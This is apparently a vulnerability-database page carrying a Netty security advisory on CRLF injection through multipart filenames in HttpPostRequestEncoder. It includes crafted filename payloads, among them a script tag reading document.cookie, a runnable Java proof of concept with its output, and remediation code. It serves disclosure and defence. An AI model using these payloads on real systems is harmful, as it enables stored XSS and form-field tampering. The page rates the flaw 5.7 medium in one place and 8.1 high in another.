VDB
KO
MEDIUM 5.7

GHSA-gcjf-9mgh-3p7g

Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder

Quick fix

GHSA-gcjf-9mgh-3p7g — io.netty:netty-codec-http: upgrade to the fixed version with the command below.

# pom.xml: bump <version>4.2.16.Final</version> for io.netty:netty-codec-http

Details

# Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder

## 1. Vulnerability Summary

| Field | Value | |-------|-------| | **Product** | Netty | | **Version** | 4.2.12.Final (and all prior versions with codec-http multipart) | | **Component** | `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` | | **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting | | **Impact** | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition | | **CVSS 3.1 Score** | **8.1 (High)** | | **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` | | **Attack Vector** | Network | | **Attack Complexity** | Low | | **Privileges Required** | Low (attacker must be able to upload files with controlled filenames) | | **User Interaction** | None | | **Scope** | Unchanged | | **Confidentiality Impact** | High | | **Integrity Impact** | High | | **Availability Impact** | None |

## 2. Affected Components

The following classes in the `codec-http` module are affected:

- `io.netty.handler.codec.http.multipart.HttpPostRequestEncoder` — directly concatenates unvalidated filename/name into `Content-Disposition` MIME headers (lines 519, 633, 674, 682, 686-688) - `io.netty.handler.codec.http.multipart.DiskFileUpload` — `setFilename()` only checks null (line 78) - `io.netty.handler.codec.http.multipart.MemoryFileUpload` — `setFilename()` only checks null (line 60) - `io.netty.handler.codec.http.multipart.MixedFileUpload` — `setFilename()` delegates without validation (line 62)

## 3. Vulnerability Description

Netty's `HttpPostRequestEncoder` constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into `Content-Disposition` MIME headers **without validating or sanitizing CRLF characters** (`\r\n`). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.

### Root Cause

In `HttpPostRequestEncoder.java`, multiple code paths directly embed `fileUpload.getFilename()` into header strings:

```java // Line 674 (attachment mode): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.ATTACHMENT + "; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION

// Lines 686-688 (form-data mode): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; " + HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION

// Line 519 (attribute name): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; " + HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^ NO VALIDATION ```

The `setFilename()` method in all `FileUpload` implementations only checks for null:

```java // DiskFileUpload.java:77-79 public void setFilename(String filename) { this.filename = ObjectUtil.checkNotNull(filename, "filename"); // NO CRLF VALIDATION } ```

### Comparison with Similar Fixed CVEs

This vulnerability follows the same pattern as:

| CVE | Component | Fix | |-----|-----------|-----| | **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in `SmtpUtils.validateSMTPParameters()` | | **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder — CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` |

The multipart encoder has **no equivalent validation** for filenames or field names.

## 4. Exploitability Prerequisites

This vulnerability is exploitable when:

1. The application uses Netty's `HttpPostRequestEncoder` to construct multipart HTTP requests 2. The filename of an uploaded file is derived from user-controlled input 3. The application does **not** perform its own CRLF sanitization on filenames

**Common affected patterns**: - File upload proxies that forward user-supplied filenames - API gateways that construct multipart requests from incoming parameters - Microservice communication that passes filenames between services - Testing/automation frameworks that use Netty HTTP client with user-defined filenames

## 5. Attack Scenarios

### Scenario 1: Content-Type Override via Filename Injection

An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:

```java String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--";

DiskFileUpload upload = new DiskFileUpload( "avatar", maliciousFilename, "image/jpeg", "binary", UTF_8, fileSize); ```

**Wire format:** ``` --boundary content-disposition: form-data; name="avatar"; filename="photo.jpg" Content-Type: text/html <-- INJECTED: overrides image/jpeg

<script>alert(document.cookie)</script> <-- INJECTED: XSS payload --" content-type: image/jpeg <-- Original (now ignored by many parsers) ... ```

If the receiving server parses the **first** `Content-Type`, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.

### Scenario 2: Arbitrary MIME Header Injection

```java String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true"; ```

Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.

### Scenario 3: Multipart Boundary Confusion

```java String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret"; ```

By injecting a new boundary delimiter, the attacker can: - Terminate the current body part prematurely - Start a new body part with a different field name - Override form fields processed by the server

## 6. Proof of Concept

### Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)

```java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.handler.codec.http.*; import io.netty.handler.codec.http.multipart.*;

import java.io.File; import java.io.FileWriter; import java.nio.charset.StandardCharsets;

/** * PoC: HTTP Multipart Content-Disposition Header Injection via Filename * * Demonstrates that HttpPostRequestEncoder does not validate filenames * for CRLF characters, allowing injection of arbitrary MIME headers * into multipart form data. */ public class MultipartFilenameInjectionPoC {

public static void main(String[] args) throws Exception { System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n");

testFilenameInjection();

System.out.println("\n=== PoC Complete ==="); }

static void testFilenameInjection() throws Exception { System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition"); System.out.println("-------------------------------------------------------");

// Create a temporary file for upload File tempFile = File.createTempFile("test", ".txt"); tempFile.deleteOnExit(); try (FileWriter fw = new FileWriter(tempFile)) { fw.write("test content"); }

// Malicious filename with CRLF to inject Content-Type header String maliciousFilename = "innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" + "<script>alert(1)</script>\r\n--";

HttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.POST, "/upload");

HttpPostRequestEncoder encoder = new HttpPostRequestEncoder( new DefaultHttpDataFactory(false), request, true, StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);

DiskFileUpload fileUpload = new DiskFileUpload( "file", maliciousFilename, "application/octet-stream", "binary", StandardCharsets.UTF_8, tempFile.length()); fileUpload.setContent(tempFile);

encoder.addBodyHttpData(fileUpload); encoder.finalizeRequest();

// Read the encoded multipart body StringBuilder body = new StringBuilder(); while (!encoder.isEndOfInput()) { HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc()); if (chunk != null) { body.append(chunk.content().toString(StandardCharsets.UTF_8)); chunk.release(); } } encoder.cleanFiles();

String encoded = body.toString(); System.out.println("Malicious filename: " + maliciousFilename.replace("\r", "\\r").replace("\n", "\\n")); System.out.println(); System.out.println("Encoded multipart body:"); System.out.println("---"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } System.out.println("---");

boolean hasInjectedHeader = encoded.contains("X-Injected: true"); boolean hasInjectedScript = encoded.contains("<script>"); System.out.println(); System.out.println("Injected X-Injected header: " + hasInjectedHeader); System.out.println("Injected script tag: " + hasInjectedScript); System.out.println("VULNERABLE: " + ((hasInjectedHeader || hasInjectedScript) ? "YES - MIME header injection!" : "NO"));

tempFile.delete(); } } ```

### How to Compile and Run

```bash # Build Netty (skip tests) ./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \ -Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \ -Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \ -Dspotbugs.skip=true -q

# Set classpath JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \ | grep -v sources | grep -v javadoc | tr '\n' ':')

# Compile and run javac -cp "$JARS" MultipartFilenameInjectionPoC.java java -cp "$JARS:." MultipartFilenameInjectionPoC ```

### PoC Execution Output (Verified on Netty 4.2.12.Final)

``` === Netty Multipart Filename CRLF Injection PoC ===

[TEST 1] Filename CRLF Injection in Content-Disposition ------------------------------------------------------- Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n--

Encoded multipart body: --- --88aaade41dbb9f9f\r content-disposition: form-data; name="file"; filename="innocent.txt"\r Content-Type: text/html\r <-- INJECTED X-Injected: true\r <-- INJECTED \r <script>alert(1)</script>\r <-- INJECTED XSS --"\r content-length: 12\r content-type: application/octet-stream\r content-transfer-encoding: binary\r \r test content\r --88aaade41dbb9f9f--\r ---

Injected X-Injected header: true Injected script tag: true VULNERABLE: YES - MIME header injection!

=== PoC Complete === ```

## 7. Impact Analysis

| Impact Category | Description | |----------------|-------------| | **Confidentiality** | HIGH — Injected headers may bypass access controls or leak tokens | | **Integrity** | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation | | **Content-Type Spoofing** | Override `application/octet-stream` to `text/html` to serve executable content | | **Stored XSS** | Inject `<script>` tags via Content-Type override when uploaded files are served back | | **Form Field Override** | Inject new multipart boundaries to create/override form fields | | **Downstream Injection** | Custom MIME headers may affect middleware, CDN, or storage layer behavior |

## 8. Remediation Recommendations

### Option 1: Validate in FileUpload.setFilename() (Recommended)

```java // DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java public void setFilename(String filename) { ObjectUtil.checkNotNull(filename, "filename"); for (int i = 0; i < filename.length(); i++) { char c = filename.charAt(i); if (c == '\r' || c == '\n') { throw new IllegalArgumentException( "filename contains prohibited CRLF character at index " + i); } } this.filename = filename; } ```

### Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)

Escape or reject CRLF characters when building Content-Disposition headers:

```java // HttpPostRequestEncoder.java - add helper method private static String sanitizeHeaderParam(String value) { for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); if (c == '\r' || c == '\n' || c == '"') { throw new ErrorDataEncoderException( "Multipart parameter contains prohibited character at index " + i); } } return value; }

// Then use in Content-Disposition construction: internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n"); ```

### Option 3: RFC 2231/5987 Encoding for Filenames

Use proper RFC 2231 encoding for filenames with special characters:

```java // Encode filename per RFC 5987: // filename*=UTF-8''encoded%20filename String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8"); internal.addValue(... + "filename*=" + encodedFilename + "\r\n"); ```

## 9. References

- [RFC 2183: Content-Disposition Header Field](https://tools.ietf.org/html/rfc2183) - [RFC 7578: Returning Values from Forms: multipart/form-data](https://tools.ietf.org/html/rfc7578) - [RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters](https://tools.ietf.org/html/rfc5987) - [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html) - [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html) - [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86) - [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)

Are you affected?

Enter the version of the package you're using.

Affected packages

Maven / io.netty:netty-codec-http
Introduced in: 4.2.0.Final Fixed in: 4.2.16.Final
Fix # pom.xml: bump <version>4.2.16.Final</version> for io.netty:netty-codec-http
Maven / io.netty:netty-codec-http
Introduced in: 0 Fixed in: 4.1.136.Final
Fix # pom.xml: bump <version>4.1.136.Final</version> for io.netty:netty-codec-http

References